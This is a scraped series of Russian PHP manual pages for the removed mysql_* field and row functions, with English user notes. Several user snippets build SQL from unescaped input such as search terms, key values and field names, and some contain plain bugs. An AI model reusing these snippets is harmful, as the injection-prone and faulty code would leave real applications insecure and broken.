so either be a bit wiser when naming the colums (e.g. user_id)

or try it with

SELECT id, `user-id` AS user_id FROM unlucky_naming

(i have not tested it in PHP yet, but i guess this will fail as well, if you have a query like "SELECT `foo name` FROM `unlucky naming 2`")

Somewhat down "amackenz at cs dot uml dot edu" mentioned to name sum, count etc. this may be a good hint for newbies: increase the speed of your php applications by using (my)sql native functions and save data transfer as well as processing time
Simon Paridon 24-Sep-2006 05:53
The behavior of this function is slightly questionable.

If you have a col in you table containing non-variable-name characters like "-", mysql_fetch_object will add "impossible variable names" to your object, e.g.

object (
  [user-id] => 7
)

You can not access this variable normally with $obj->user-id, because the variable name is invalid. But you can however access it like this:

$foo = 'user-id';
echo $obj->$foo;

It will correctly output 7, whereas var_dump($obj->user-id) would output int(0) for some reason.

I got this behaviour with PHP 4.4.2.
Kaminari (telecotxesco at hotmail) 23-Jul-2006 04:55
This is a very very elegant (and costless) way to fetch an enterie query to every single field name from a "wide" table:

The tedious way fetching:
<?php
    $idtable=mysql_connect("localhost","user","pwd");
    mysql_select_db("table",$idtable);
    $consult=mysql_query("SELECT *
                            FROM models
                            ORDER BY Serie,Year ASC");
    while($row=mysql_fetch_object($consult)){
        $IdLomo=$row->IdLomo;
        $Serie=$row->Serie;
        $Model=$row->Model;
        $Type=$row->Type;
        $Year=$row->Year;
        $Speed=$row->Speed;
        $Power=$row->Power;
        $Price=$row->Price;
        $Load1=$row->Load1;
        $Load2=$row->Load2;
        $Load3=$row->Load3;
        $Load4=$row->Load4;
        $Server=$row->Servier;
        $Real=$row->Real;
        $Lomo=$row->Lomo;
    }
?>

Resulting on 15 new variables called like their name on table wich we introduced manualy for 5 minutes. But imagine each row has 100 fields!

A way saving time with the same result:

<?php
    $idtable=mysql_connect("localhost","user","pwd");
    mysql_select_db("table",$idtable);
    $consult=mysql_query("SELECT *
                            FROM models
                            ORDER BY Serie,Year ASC");
    // We find the fields number
    $numfields=mysql_num_fields($consult);

    // Now we put the names of fields in a Array
    for($i=0;$i<$numfields;$i++){
        $fieldname[$i]=mysql_field_name($consult, $i);
    }

    while($row=mysql_fetch_object($consult)){
        //Finally we assign the new variables
        for($i=0;$i<$numfields;$i++){
            $$fieldname[$i]=$row->$fieldname[$i];
        }
    }
?>
trithaithus at tibiahumor dot net 21-Aug-2005 01:56
This method offers a nice way to fetch objects from databases. As Federico at Pomi dot net mentioned it doesn't work native as the type of the object fetched isn't the right one, but with a small typecast it works flawlessly.

<?php
function ClassTypeCast(&$obj,$class_type){
   if(class_exists($class_type)){
       $obj = unserialize(preg_replace("/^O:[0-9]+:\\"[^\"]+\\":/i",
         "O:".strlen($class_type).":\\"".$class_type."\\":", serialize($obj)));
   }
}

class Foo
{
    var $foo;
    var $bar;
    function get_from_db()
    {
        mysql_connect();
        mysql_select_db();
        $res = mysql_query("SELECT foo,bar from my_table");

        $fetched_object = mysql_fetch_object($res);
        ClassTypeCast($fetched_object,"Foo");
        $this = $fetched_object;
    }
}
?>
backglancer at hotmail 07-Aug-2005 03:07
Watch out for mysql_fetch_object() to return all values as strings.
if you try to do
<?
$p = mysql_fetch_object($some_sql);
// and then try to do something like

$money = $p->dollars + $p->cents;
?>

You may experience "Unsupported operand types"

so always cast them both as (int) 's!!
q 09-Jul-2004 07:31
Some clarifications about previous notes concerning duplicate field names in a result set.

Consider the following relations:

TABLE_A(id, name)
TABLE_B(id, name, id_A)

Where TABLE_B.id_A references TABLE_A.id.

Now, if we join these tables like this: "SELECT * FROM TABLE_A, TABLE_B WHERE TABLE_A.id = TABLE_B.id_A", the result set looks like this: (id, name, id, name, id_A).

The behaviour of mysql_fetch_object on a result like this isn't documented here, but it seems obvious that some data will be lost because of the duplicate field names.

This can be avoided, as Eskil Kvalnes stated, by aliasing the field names. However, it is not necessary to alias all fields on a large table, as the following syntax is legal in MySQL: "SELECT *, TABLE_A.name AS name_a, TABLE_B.name AS name_b FROM TABLE_A, TABLE_B ...". This will produce a result set formatted like this: (id, name, id, name, id_A, name_a, name_b), and your data is saved. Hooray!

-q
rcoles at hotmail dot com 16-Oct-2003 02:11
In reviewing Eskil Kvalnes's comments (04-Mar-2003 11:59
When using table joins in a query you obviously need to name all the fields to make it work right with mysql_fetch_object()) I was left asking and, as a newbie, the reason why I'm here. I have a 28 field table. Ran SELECT * with a LEFT JOIN, etc and it appears to have worked on my test server without issue.

On further reading, MYSQL.COM has the following:
* It is not allowed to use a column alias in a WHERE clause, because the column value may not yet be determined when the WHERE clause is executed. See section A.5.4 Problems with alias.
* The FROM table_references clause indicates the tables from which to retrieve rows. If you name more than one table, you are performing a join. For information on join syntax, see section 6.4.1.1 JOIN Syntax. For each table specified, you may optionally specify an alias.

Aware of the fact there's a difference between tables and fields there appears to be confusion here somewhere.
zhundiak at comcast dot net 15-May-2003 06:44
Here is a wrapper that will allow specifying a class name.
function &db_fetch_object($set,$className)
{
  /* Start by getting the usual array */
  $row = mysql_fetch_assoc($set);
  if ($row === null) return null;

  /* Create the object */
  $obj =& new $className();

  /* Explode the array and set the objects's instance data */
  foreach($row as $key => $value)
  {
    $obj->{$key} = $value;
  }
  return $obj;
}
class CPerson
{
  function getFullName()
  {
    return $this->fname . ' ' . $this->lname;
  }
}
$set = mysql_query('SELECT fname,lname FROM person');
while($person =& db_fetch_object($set,'CPerson'))
{
  echo $person->getFullName();
}
Eskil Kvalnes 03-Mar-2003 10:59
When using table joins in a query you obviously need to name all the fields to make it work right with mysql_fetch_object().
kalleanka 30-Jan-2003 03:50
an addition to the previous...

for example getting members from a database:

function getAllMembers () {
    $query = "SELECT * FROM people ORDER BY lname";
    $result = mysql_query($query);

    while($member = mysql_fetch_object($result)){
        $members[] = $member;
    }

    return $members;
}
<br><br>
    DON'T FORGET TO DECLARE THE ARRAY. If you try to cycle through members after the function has been called and you don't declare the array first you will get a horribly (HORRIBLY!) ugly error in your page. Also, if you try to add the object into the members array inside the while condition instead of in the while loop, you will generate one extra empty space in the array due to the last iteration/check.
spamme at aol dot com 16-Jan-2003 12:28
This is probably a little more elegant:

$sql = "SELECT * FROM table ";
$result = mysql_query($sql);

$data = array();

while ($row = mysql_fetch_object($result))
   $data[] = $row;
allen at brooker dot gb dot net 19-Nov-2002 04:14
I found the above code to be buggy, not adding all the records to the array. This is the code I used instead:

  $command = "SELECT * FROM table ";
  $result = mysql_query($command, $link_id);
  $num = mysql_num_rows($result);

  $clickthru = array();

  for ($i = 0; $i <= $num; $i++) {
    $clickthru[$i] = array();
    $clickthru[$i] = mysql_fetch_array($result);
  }

Allen
Federico at Pomi dot net 15-Sep-2002 07:41
Be carefull:
the object returned will be a new/fresh object.

You can't use this function to replace some attributes of an existing object keeping the old ones.

Example:
class person
{
   var $name;
   var $surname;
   var $doh;

function print()
{
   print($name." ".$surname);
}

function get_from_db()
{
   $res=query("select name, surname from ppl where... limit 1");
   $this=mysql-fetch-object($res);
}

}

This won't work! When the method get_from_db() is executed, your old object will be destroyed... you won't find anything in the attribute $doh, and if you'll try to call the method print(), it will say it doesn't exist.


Обрабатывает ряд результата запроса и возвращает массив с числовыми индексами

  • « mysql_fetch_object
  • mysql_field_flags »
  • PHP Manual
  • MySQL
  • Обрабатывает ряд результата запроса и возвращает массив с числовыми индексами

mysql_fetch_row

(PHP 4, PHP 5)

mysql_fetch_row — Обрабатывает ряд результата запроса и возвращает массив с числовыми индексами

Внимание

Данный модуль устарел, начиная с версии PHP 5.5.0, и удалён в PHP 7.0.0. Используйте вместо него MySQLi или PDO_MySQL. Смотрите также инструкцию MySQL: выбор API. Альтернативы для данной функции:

  • mysqli_fetch_row()
  • PDOStatement::fetch() с параметром mode заданным как PDO::FETCH_NUM

Описание

mysql_fetch_row(resource $result): array

Возвращает массив с числовыми индексами, содержащий данные обработанного ряда, и сдвигает внутренний указатель результата вперёд.

Список параметров

result

Обрабатываемый результат запроса. Этот результат может быть получен с помощью функции mysql_query().

Возвращаемые значения

Возвращает массив строк с числовыми индексами, содержащий данные обработанного ряда, или false, если рядов не осталось.

mysql_fetch_row() обрабатывает один ряд результата, на который ссылается переданный указатель. Ряд возвращается в виде массива. Каждая колонка располагается в следующей ячейке массива, начиная с нулевого индекса

Примеры

Пример #1 Получение одного ряда с помощью mysql_fetch_row()

<?php
$result = mysql_query("SELECT id,email FROM people WHERE id = '42'");
if (!$result) {
echo 'Ошибка запроса: ' . mysql_error();
exit;
}
$row = mysql_fetch_row($result);

echo $row[0]; // 42
echo $row[1]; // email
?>

Примечания

Замечание: Эта функция устанавливает NULL-поля в значение null PHP.

Смотрите также

  • mysql_fetch_array() - Обрабатывает ряд результата запроса, возвращая ассоциативный массив, численный массив или оба
  • mysql_fetch_assoc() - Возвращает ряд результата запроса в качестве ассоциативного массива
  • mysql_fetch_object() - Обрабатывает ряд результата запроса и возвращает объект
  • mysql_data_seek() - Перемещает внутренний указатель в результате запроса
  • mysql_fetch_lengths() - Возвращает длину каждого поля в результате
  • mysql_result() - Возвращает данные результата запроса

User Contributed Notes

pepik at gmail dot cz 19-Jun-2013 11:46
<?php
  require 'prhlavicka.php';
  pis_hlavicku('Vypis clanku');

   require_once 'db.php';
    $kom = new server();
    $sql=$kom->query("SELECT autor,nazev,obsah FROM `Clanky_Sadek`");
               while ($data = mysql_fetch_row($sql)){
                 ECHO '<br />--AUTOR--<br />'.$data[0].'<br />__NAZEV CLANKU__<br />'.$data[1].'<br />..OBSAH CLANKU..<br />'.$data[2];     }

  include 'Paticka.html'; ?>
larkitetto at gmail dot com 21-Feb-2008 03:29
sry :) note now fixed:

<?php
$esi=mysql_list_tables($db);$ris=mysql_fetch_row($esi);
//example: $db has >= 1 tabs
echo var_dump($ris);
//echoes only array(1). solution:
while($ris=mysql_fetch_row($esi)) echo $ris[0];
/*debug:
$ris=array("1st_tab"); ... $ris=array("n_tab");$ris=false;*/
while ($ris[]=mysql_fetch_row($esi));
//debug:$ris=array(array("1st_tab"), ... array("n_tab"));
echo $ris[n][0];//echo:"n_tab"
echo $ris[0][n];//echo:array | null
?>

hope it helps
michael and then an at sign wassupy.com 08-Apr-2003 12:09
to print an array, simply use print_r(array name)

like this:
    $myrow = mysql_fetch_row($result);
echo "<pre>";
print_r($myrow);
echo "</pre>";

this will output the array in a readable form, with the index, too. Don't forget the 'pre' tags or the output will be on a single line.
a at simongrant dot org 06-Feb-2002 05:10
Maybe worth pointing out that all the fields returned by this (and other?) calls are returned with type string. This had me puzzled for quite some time.


Возвращает флаги, связанные с указанным полем результата запроса

  • « mysql_fetch_row
  • mysql_field_len »
  • PHP Manual
  • MySQL
  • Возвращает флаги, связанные с указанным полем результата запроса

mysql_field_flags

(PHP 4, PHP 5)

mysql_field_flags — Возвращает флаги, связанные с указанным полем результата запроса

Внимание

Данный модуль устарел, начиная с версии PHP 5.5.0, и удалён в PHP 7.0.0. Используйте вместо него MySQLi или PDO_MySQL. Смотрите также инструкцию MySQL: выбор API. Альтернативы для данной функции:

  • mysqli_fetch_field_direct() [flags]
  • PDOStatement::getColumnMeta() [flags]

Описание

mysql_field_flags(resource $result, int $field_offset): string|false

mysql_field_flags() возвращает флаги, связанные с указанным полем. Каждый флаг возвращается как отдельное слово, отделённое от предыдущего пробелом. Полученное значение можно разбить в массив, используя функцию explode().

Список параметров

result

Обрабатываемый результат запроса. Этот результат может быть получен с помощью функции mysql_query().

field_offset

Числовое смещение поля. field_offset начинается с 0. Если field_offset не существует, генерируется ошибка уровня E_WARNING.

Возвращаемые значения

Возвращает строку с флагами, связанными с результатом или false в случае возникновения ошибки.

Возвращаются следующие флаги, если ваша версия MySQL их уже поддерживает: "not_null", "primary_key", "unique_key", "multiple_key", "blob", "unsigned", "zerofill", "binary", "enum", "auto_increment" и "timestamp".

Примеры

Пример #1 Пример использования mysql_field_flags()

<?php
$result = mysql_query("SELECT id,email FROM people WHERE id = '42'");
if (!$result) {
echo 'Ошибка в запросе: ' . mysql_error();
exit;
}
$flags = mysql_field_flags($result, 0);

echo $flags;
print_r(explode(' ', $flags));
?>

Результатом выполнения данного примера будет что-то подобное:

not_null primary_key auto_increment
Array
(
    [0] => not_null
    [1] => primary_key
    [2] => auto_increment
)

Примечания

Замечание:

Для обратной совместимости может быть использован следующий устаревший псевдоним: mysql_fieldflags()

Смотрите также

  • mysql_field_type() - Возвращает тип указанного поля из результата запроса
  • mysql_field_len() - Возвращает длину указанного поля

User Contributed Notes

play at arcadevillage dot com 03-Aug-2009 07:07
To really backup the database values, I made a little changement :

My code really looks like bomas 's code, but there is an important diffence :

<?php
$nbc = mysql_num_fields($req_table);
while ($ligne = mysql_fetch_array($req_table))
  {
    $insertions = "INSERT INTO $table VALUES(";
     for ($i=0; $i<$nbc; $i++)
        {
          if ( $i > 0 ) $insertions .= ", ";
          if ( !isset($ligne[$i]))
            $insertions .= "NULL";
          else
            $insertions .= "'" . mysql_real_escape_string($ligne[$i]). "'";
        }
     $insertions .= ");";
     $dumpsql[] = $insertions;
   }
?>

$dumpslq is the variable where I put the insertion orders before writting them in a text file.

Before, I test that the values if not NULL into the field because it is the only way to make the difference, for example for string text fields, between NULL values and empty strings.

If you don't make this test, you should find empty string instead of NULL values when you do the backup.
bomas at cities-of-faith dot com 08-Sep-2005 01:52
well, to make a complete backup of your database, i suggest this code:

//open database here
$tab_status = mysql_query("SHOW TABLE STATUS");
while($all = mysql_fetch_assoc($tab_status)):
    $tbl_stat[$all[Name]] = $all[Auto_increment];
endwhile;
unset($backup);
$tables = mysql_list_tables('cofadmin');
while($tabs = mysql_fetch_row($tables)):
    $backup .= "--\n--Tabel structuur voor `$tabs[0]`\n--\n\nDROP IF EXISTS TABLE `$tabs[0]`\nCREATE TABLE IF NOT EXISTS `$tabs[0]` (&nbsp;";
    $res = mysql_query("SHOW CREATE TABLE $tabs[0]");
    while($all = mysql_fetch_assoc($res)):
        $str = str_replace("CREATE TABLE `$tabs[0]` (", "", $all['Create Table']);
        $str = str_replace(",", ",&nbsp;", $str);
        $str2 = str_replace("`) ) TYPE=MyISAM ", "`)\n ) TYPE=MyISAM ", $str);
        $backup .= $str2." AUTO_INCREMENT=".$tbl_stat[$tabs[0]].";\n\n";
    endwhile;
    $backup .= "--\n--Gegevens worden uitgevoerd voor tabel `$tabs[0]`\n--\n\n";
    $data = mysql_query("SELECT * FROM $tabs[0]");
    while($dt = mysql_fetch_row($data)):
        $backup .= "INSERT INTO `$tabs[0]` VALUES('$dt[0]'";
        for($i=1; $i<sizeof($dt); $i++):
            $backup .= ", '$dt[$i]'";
        endfor;
        $backup .= ");\n";
    endwhile;
    $backup .= "\n-- --------------------------------------------------------\n\n";
endwhile;
echo $backup;

this displayes your data the same way as phpmyadmin does.

hope it helps some of you guys
Greetz
pike-php at kw dot nl 14-Jul-2005 04:55
ok, sorry for the code bloat :) but this is how I
get the full power of mysql's DESCRIBE table statement, in
an associative array, including defaults, enum values, float radix et all.

it assumes mysql returns the type as
   "type[(arg[,arg..])] [ add]"
like
   "float(20,6) unsigned"
   "enum('yes','no')"
etc

<?

function getFields($tablename) {

        $fields = array();
        $fullmatch         = "/^([^(]+)(\([^)]+\))?(\s(.+))?$/";
        $charlistmatch     = "/,?'([^']*)'/";
        $numlistmatch     = "/,?(\d+)/";

        $fieldsquery .= "DESCRIBE $tablename";
        $result_fieldsquery = mysql_query($fieldsquery) or die(mysql_error());
        while ($row_fieldsquery = mysql_fetch_assoc($result_fieldsquery)) {

            $name     = $row_fieldsquery['Field'];
            $fields[$name] = array();
            $fields[$name]["type"]         = "";
            $fields[$name]["args"]         = array();
            $fields[$name]["add"]          = "";
            $fields[$name]["null"]        = $row_fieldsquery['Null'];
            $fields[$name]["key"]        = $row_fieldsquery['Key'];
            $fields[$name]["default"]    = $row_fieldsquery['Default'];
            $fields[$name]["extra"]        = $row_fieldsquery['Extra'];

            $fulltype     = $row_fieldsquery['Type'];
            $typeregs = array();

            if (preg_match($fullmatch, $fulltype, $typeregs)) {
                $fields[$name]["type"] = $typeregs[1];
                if ($typeregs[4]) $fields[$name]["add"] = $typeregs[4];
                $fullargs = $typeregs[2];
                $argsreg = array();
                if (preg_match_all($charlistmatch, $fullargs, $argsreg)) {
                    $fields[$name]["args"] = $argsreg[1];
                } else {
                    $argsreg = array();
                    if (preg_match_all($numlistmatch, $fullargs, $argsreg)) {
                        $fields[$name]["args"] = $argsreg[1];
                    } else die("cant parse type args: $fullargs");
                }
            } else die("cant parse type: $fulltype");

        }
        return $fields;

    }

?>
buttrose at unimelb dot edu dot au 20-Oct-2004 07:26
This function is essential for writing a generic table editor (ie one that just takes the name of the table and works out what fields it has, types, sizes etc.). Unfortunately, I am using psotgreSQL not mySql. Postgres has field_type and field_size functions  but not as far as I can tell an equivalent of the mysql_field_flags() function. Without it, there is no way I can do generic ADDs and INSERTs.

Anyone know a workaround to get this information (eg is the field a primary key? Can it be NULL? Is it auto_increment?) in Postgres?

Cheers

Rob Buttrose
amir at scrounch dot com 17-Aug-2003 10:39
returns primary keys of a table using 'show keys'
although it is possible to use desc, show keys offers possible enhancements such a getting sequence in index along with it

function getPrimaryKeyOf($table, $link) {
  $pk = Array();

  $sql = 'SHOW KEYS FROM `'.$table.'`';
  $res = mysql_query($table, $link) or die(mysql_error());
  while ($row = mysql_fetch_assoc($res)) {
    if ($row['Key_name']=='PRIMARY')
      array_push($pk, $row['Column_name']);
  }
  return $pk;
}
simone dot t at betisgroup dot com 10-Apr-2003 04:20
Another examples :

####################################

function field_keys($host, $user, $password, $database, $field ) {
   $db_link = mysql_connect($host, $user, $password) or die ("error connect");
   mysql_select_db($database,$db_link);
   $query="DESC $field";
   $results=mysql_query($query);
   $i=0;
   while ($row=mysql_fetch_array($results)) {
         if ($row[Key]=="PRI") {
            $array_keys[$i]=$row[Field];
         }
         $i++;
  }
   return $array_keys;
}

####################################

//Example of Main...
$tmp = field_keys("localhost", "myuser", "mypassword", "mydb", "field_name" );

// ...loop through array...
foreach ( $tmp as $array_tmp){
    print "<br>";
    print $array_tmp;
    print "<br>";
}
justin DOT flavin AT ntlworld DOT com 06-Dec-2002 10:36
Sometimes, when writing a generic function or class, you want your script to be able to determine what the primary key of a table is.
/* usual MySQL stuff */
$query="DESC UsersTable";
$results=mysql_query($query);

while ($row=mysql_fetch_array($results))
{
if ($row[Type]="PRI")
    {
print "I found the primary key! <br>";
$UserKey=$row[Field];
print $row[Field];
/* drop out , as we've found the key */
exit;
    }
}

..... later on we might have something like

< some sort of loop through records >

print "<a href='View_User_record.php?userkey=$UserKey'> Users Name </a>";

<end loop>

What's also interesting is the useful data you can get from
a DESC query.

The following prints out the array values grabbed by mysql_fetch_array on a DESC query - VERY useful stuff!!!

/* usual MySQL stuff */
$query="DESC UsersTable";
$results=mysql_query($query);

while ($row=mysql_fetch_array($results))
{
print "<pre>";
print_r ($row);
print "</pre>";
}
jakemsr at jakemsr dot com 31-Oct-2002 12:32
I didn't find anything to get the valid values for
ENUM or SET column types, so I came up with the
following

function mysql_enum_values($table, $field)
{
    $sql = "SHOW COLUMNS FROM $table LIKE '$field'";
    $sql_res = mysql_query($sql)
        or die("Could not query:\n$sql");
    $row = mysql_fetch_assoc($sql_res);
    mysql_free_result($sql_res);
    return(explode("','",
        preg_replace("/.*\('(.*)'\)/", "\\1",
            $row["Type"])));
}
cufarley at nirvanet dot net 11-Jul-2001 05:36
Using the "DESC TableName" command may also do the trick and is a bit shorter.
jurgen at alienguitar dot com 10-Jun-2001 04:50
The previous problem to get the default values of a column:
Use the following query and parse the 'Default' column:

"SHOW COLUMNS FROM TableName"

or for a single entry:

"SHOW COLUMNS FROM TableName LIKE 'column'"

It will give you also values for Type,  Null, Key and Extra (check with mysql program first, so you see what you get ;-)


Возвращает длину указанного поля

  • « mysql_field_flags
  • mysql_field_name »
  • PHP Manual
  • MySQL
  • Возвращает длину указанного поля

mysql_field_len

(PHP 4, PHP 5)

mysql_field_len — Возвращает длину указанного поля

Внимание

Данный модуль устарел, начиная с версии PHP 5.5.0, и удалён в PHP 7.0.0. Используйте вместо него MySQLi или PDO_MySQL. Смотрите также инструкцию MySQL: выбор API. Альтернативы для данной функции:

  • mysqli_fetch_field_direct() [length]
  • PDOStatement::getColumnMeta() [len]

Описание

mysql_field_len(resource $result, int $field_offset): int|false

mysql_field_len() возвращает длину указанного поля.

Список параметров

result

Обрабатываемый результат запроса. Этот результат может быть получен с помощью функции mysql_query().

field_offset

Числовое смещение поля. field_offset начинается с 0. Если field_offset не существует, генерируется ошибка уровня E_WARNING.

Возвращаемые значения

Длина указанного поля в случае успешного выполнения или false в случае возникновения ошибки.

Примеры

Пример #1 Пример использования mysql_field_len()

<?php
$result = mysql_query("SELECT id,email FROM people WHERE id = '42'");
if (!$result) {
echo 'Не удалось выполнить запрос: ' . mysql_error();
exit;
}

// Получит длину поля id так, как указано в структуре базы данных
$length = mysql_field_len($result, 0);
echo $length;
?>

Примечания

Замечание:

Для обратной совместимости может быть использован следующий устаревший псевдоним: mysql_fieldlen()

Смотрите также

  • mysql_fetch_lengths() - Возвращает длину каждого поля в результате
  • strlen() - Возвращает длину строки

User Contributed Notes

rvwoens at gmail dot com 04-Feb-2012 05:38
Note that for some reason the length of fields is 3 times the actual value if you are using UTF8 encoding.. So a varchar(10) field returns 30 here. This renders this function almost useless.
adam_nospam_hunger at yahoo dot com 30-Oct-2003 05:04
For a mysql type DECIMAL(8,4), the length is returned as 10 (M+2 as per documentation).


Возвращает название указанной колонки результата запроса

  • « mysql_field_len
  • mysql_field_seek »
  • PHP Manual
  • MySQL
  • Возвращает название указанной колонки результата запроса

mysql_field_name

(PHP 4, PHP 5)

mysql_field_name — Возвращает название указанной колонки результата запроса

Внимание

Данный модуль устарел, начиная с версии PHP 5.5.0, и удалён в PHP 7.0.0. Используйте вместо него MySQLi или PDO_MySQL. Смотрите также инструкцию MySQL: выбор API. Альтернативы для данной функции:

  • mysqli_fetch_field_direct() [name] или [orgname]
  • PDOStatement::getColumnMeta() [name]

Описание

mysql_field_name(resource $result, int $field_offset): string|false

mysql_field_name() возвращает название колонки с указанным индексом.

Список параметров

result

Обрабатываемый результат запроса. Этот результат может быть получен с помощью функции mysql_query().

field_offset

Числовое смещение поля. field_offset начинается с 0. Если field_offset не существует, генерируется ошибка уровня E_WARNING.

Возвращаемые значения

Название поля по указанному индексу в случае успешного выполнения или false в случае возникновения ошибки.

Примеры

Пример #1 Пример использования mysql_field_name()

<?php
/* Таблица пользователей состоит из трёх колонок:
* user_id
* username
* password.
*/
$link = mysql_connect('localhost', 'mysql_user', 'mysql_password');
if (!$link) {
die('Ошибка соединения с MySQL: ' . mysql_error());
}
$dbname = 'mydb';
$db_selected = mysql_select_db($dbname, $link);
if (!$db_selected) {
die("Не удалось выбрать базу $dbname: " . mysql_error());
}
$res = mysql_query('select * from users', $link);

echo mysql_field_name($res, 0) . "\n";
echo mysql_field_name($res, 2);
?>

Результат выполнения данного примера:

user_id
password

Примечания

Замечание: Имена полей, возвращаемые этой функцией являются зависимыми от регистра.

Замечание:

Для обратной совместимости может быть использован следующий устаревший псевдоним: mysql_fieldname()

Смотрите также

  • mysql_field_type() - Возвращает тип указанного поля из результата запроса
  • mysql_field_len() - Возвращает длину указанного поля

User Contributed Notes

tiptonentserv at gmail dot com 13-Aug-2011 05:56
simple sql to xml converter works with any sql query and returns the name of the table as the root element "row" as each row element and the names of the columns are your children of row. fully tested.

<?php
function sqlToXml($host,$user,$pass,$database,$tablename,$query){

    $link   = mysql_connect($host, $user, $pass) or die("Could not connect: " . mysql_error());
    $db     = mysql_select_db($database, $link) or die(mysql_error());

    $result = mysql_query($query);
    if(!$result){ die('Invalid query: '.mysql_error()); }

    $numOfCols = mysql_num_fields($result);
    $numOfRows = mysql_num_rows($result);

    $info = mysql_fetch_assoc($result);

    //send headers
    header('Content-type: text/xml');
    header('Pragma: public');
    header('Cache-control: private');
    header('Expires: -1');
    $xml = '<?xml version="1.0" encoding="utf-8"?>';
    $xml.= "<{$tablename}>";

    if($numOfRows > 0){
        do {
            $xml.= "<row>";
            foreach($info as $column => $value) {
                $xml.= "<{$column}>{$value}</{$column}>";
            }
            $xml.= "</row>";
        }
        while ($info = mysql_fetch_array($result));
    }
    $xml.= "</{$tablename}>";

    mysql_free_result($result);
    return $xml;

}
?>
bags 24-Jul-2010 03:02
When using aliases, it appears impossible to discover the name of the underlying column.
select `ID` as `anAlias` from `aTable` returns 'anAlias' as the mysql_field_name(). I have tried all the mysql_field_xxx() functions and none return the real column name.
anonymous at site dot com 09-Mar-2008 06:13
This function is slightly stupid to be honest, why not just make an array of field names... You could consolidate the two of these functions that way and it makes it a lot easier to list them when your script is dynamic.

<?php

    function mysql_field_array( $query ) {

        $field = mysql_num_fields( $query );

        for ( $i = 0; $i < $field; $i++ ) {

            $names[] = mysql_field_name( $query, $i );

        }

        return $names;

    }

    // Examples of use

    $fields = mysql_field_array( $query );

    // Show name of column 3

    echo $fields[3];

    // Show them all

    echo implode( ', ', $fields[3] );

     // Count them - easy equivelant to 'mysql_num_fields'

    echo count( $fields );

?>
blackjackdevel at gmail dot com 13-Nov-2007 04:13
Strangely using an aproach like this:
$res=mysql_query("SELECT * FROM `orders`",$conec) or die (mysql_error());

$fields = mysql_num_fields($res);
$out="";
for ($i = 0; $i < $fields; $i++) {
    $fname=mysql_field_name($res, $i);

}

 Outputted the E_Warning:
Warning: mysql_field_name() [function.mysql-field-name]: Field N is invalid for MySQL result index

 With a lot of different number at N. But expliciting all fields instead of *. Didn't outputted the error.

 It maybe a caracteristic of this mysql database(it is from a open source application) because i never saw this in my own databases. Anyway hope this help if someone face the same strange situation
matteo.cisilino[no_more]cisilino[spm]com 09-Jan-2007 08:54
james, why make so difficult when it's very simple :\

$numberfields = mysql_num_fields($res_gb);

   for ($i=0; $i<$numberfields ; $i++ ) {
       $var = mysql_field_name($res_gb, $i);
       $row_title .= $var;
   }

echo $row_title;
janezr at jcn dot si 19-Oct-2005 07:18
This is another variant of displaying all columns of a query result, but with a simplified while loop.

<?
$query="select * from user";
$result=mysql_query($query);
$numfields = mysql_num_fields($result);

echo "<table>\n<tr>";

for ($i=0; $i < $numfields; $i++) // Header
{ echo '<th>'.mysql_field_name($result, $i).'</th>'; }

echo "</tr>\n";

while ($row = mysql_fetch_row($result)) // Data
{ echo '<tr><td>'.implode($row,'</td><td>')."</td></tr>\n"; }

echo "</table>\n"
?>
clinnenb at hotmail dot com 05-Aug-2005 08:19
The following will create a PHP array, $array, containing the MySQL query results with array indexes of the same name as field names returned by the MySQL query.

while ($line = mysql_fetch_array($result, MYSQL_ASSOC)) {
    $i=0;
    foreach ($line as $col_value) {
        $field=mysql_field_name($result,$i);
        $array[$field] = $col_value;
        $i++;
    }
}
jimharris at blueyonder dot co dot uk 20-Dec-2004 06:28
The code in the last comment has an obvious mistake in the for loop expression.  The correct expression in the for-loop is $x<$y rather than $x<=$y...

$result = mysql_query($sql,$conn) or die(mysql_error());
$rowcount=mysql_num_rows($result);
$y=mysql_num_fields($result);
for ($x=0; $x<$y; $x++) {
   echo = mysql_field_name($result, $x).'<br>';
}
colin dot truran at shiftf7 dot com 17-Dec-2004 04:44
T simply itterate through all the field names on a result set try using this.

$result = mysql_query($sql,$conn) or die(mysql_error());
$rowcount=mysql_num_rows($result);
$y=mysql_num_fields($result);
for ($x=0; $x<=$y; $x++) {
    echo = mysql_field_name($result, $x).'<br>';
}

This is useful if you have a result set that joins several tables dynamicaly and you are never sure what all the fields will be when you come to display them.

I suggest you place this within a loop through your result rows and include a field flag check  around the echo to only show certain data types like this.

$y=mysql_num_fields($result);
while ($row=mysql_fetch_array($result)) {
  for ($x=0; $x<=$y; $x++) {
    $fieldname=mysql_field_name($result,$x);
    $fieldtype=mysql_field_type($result, $x);
    if ($fieldtype=='string' && $row[$fieldname]!='')
       echo $row[$fieldname].' , ';
   }
   echo '<br>';
}
aaronp123 att yahoo dott comm 21-Feb-2003 06:27
You could probably elaborate on this by sending a full sql query to this function...but I titled it simple_query() because it doesn't really allow for joins.  Never the less, if you want to get a quick array full of a single row result set this is painless:

function simple_query($table_name, $key_col, $key_val) {
    // open the db
    $db_link = my_sql_link();
    // query table using key col/val
    $db_rs = mysql_query("SELECT * FROM $table_name WHERE $key_col = $key_val", $db_link);
    $num_fields = mysql_num_fields($db_rs);
    if ($num_fields) {
        // first (and only) row
        $row = mysql_fetch_assoc($db_rs);
        // load up array
        for ($i = 0; $i < $num_fields; $i++) {
            $simple_q[mysql_field_name($db_rs, $i)] = $row[mysql_field_name($db_rs, $i)];
        }
        // and return
        return $simple_q;
    } else {
        // no rows
        return false;
    }
    mysql_free_result($db_rs);
}

**Please note that my_sql_link() is just a function I have to open up a my sql connection.**
jason dot chambes at phishie dot net 20-Feb-2003 06:07
<?
/*
    By simply calling the searchtable() function
    with these variables it will serach the desired
    database and procude a table for each field that
    there is a match.
*/

function searchtable($host,$user,$pass,$database,$tablename,$userquery)
{
    $link   = mysql_connect($host, $user, $pass) or die("Could not connect: " . mysql_error());
    $db     = mysql_select_db($database, $link) or die(mysql_error());
    $fields = mysql_list_fields($database, $tablename, $link);
    $cols   = mysql_num_fields($fields);

    for ($i = 1; $i < $cols; $i++) {
        $allfields[] = mysql_field_name($fields, $i);
    }
    foreach ($allfields as $myfield) {
        $result = mysql_query("SELECT * FROM $tablename WHERE $myfield like '%$userquery%' ");
        if (mysql_num_rows($result) > 0){
            echo "<h3>search <i>$database</i> for <i>$userquery</i>, found match(es) in <i>$myfield</i>: </h3>\n";
            echo "<table border=1 align=\"center\">\n\t<tr>\n";
            for ($i = 1; $i < $cols; $i++) {
                echo "\t\t<th";
                if ($myfield == mysql_field_name($fields, $i)){
                    echo " bgcolor=\"orange\"> ";
                } else {
                    echo ">";
                }
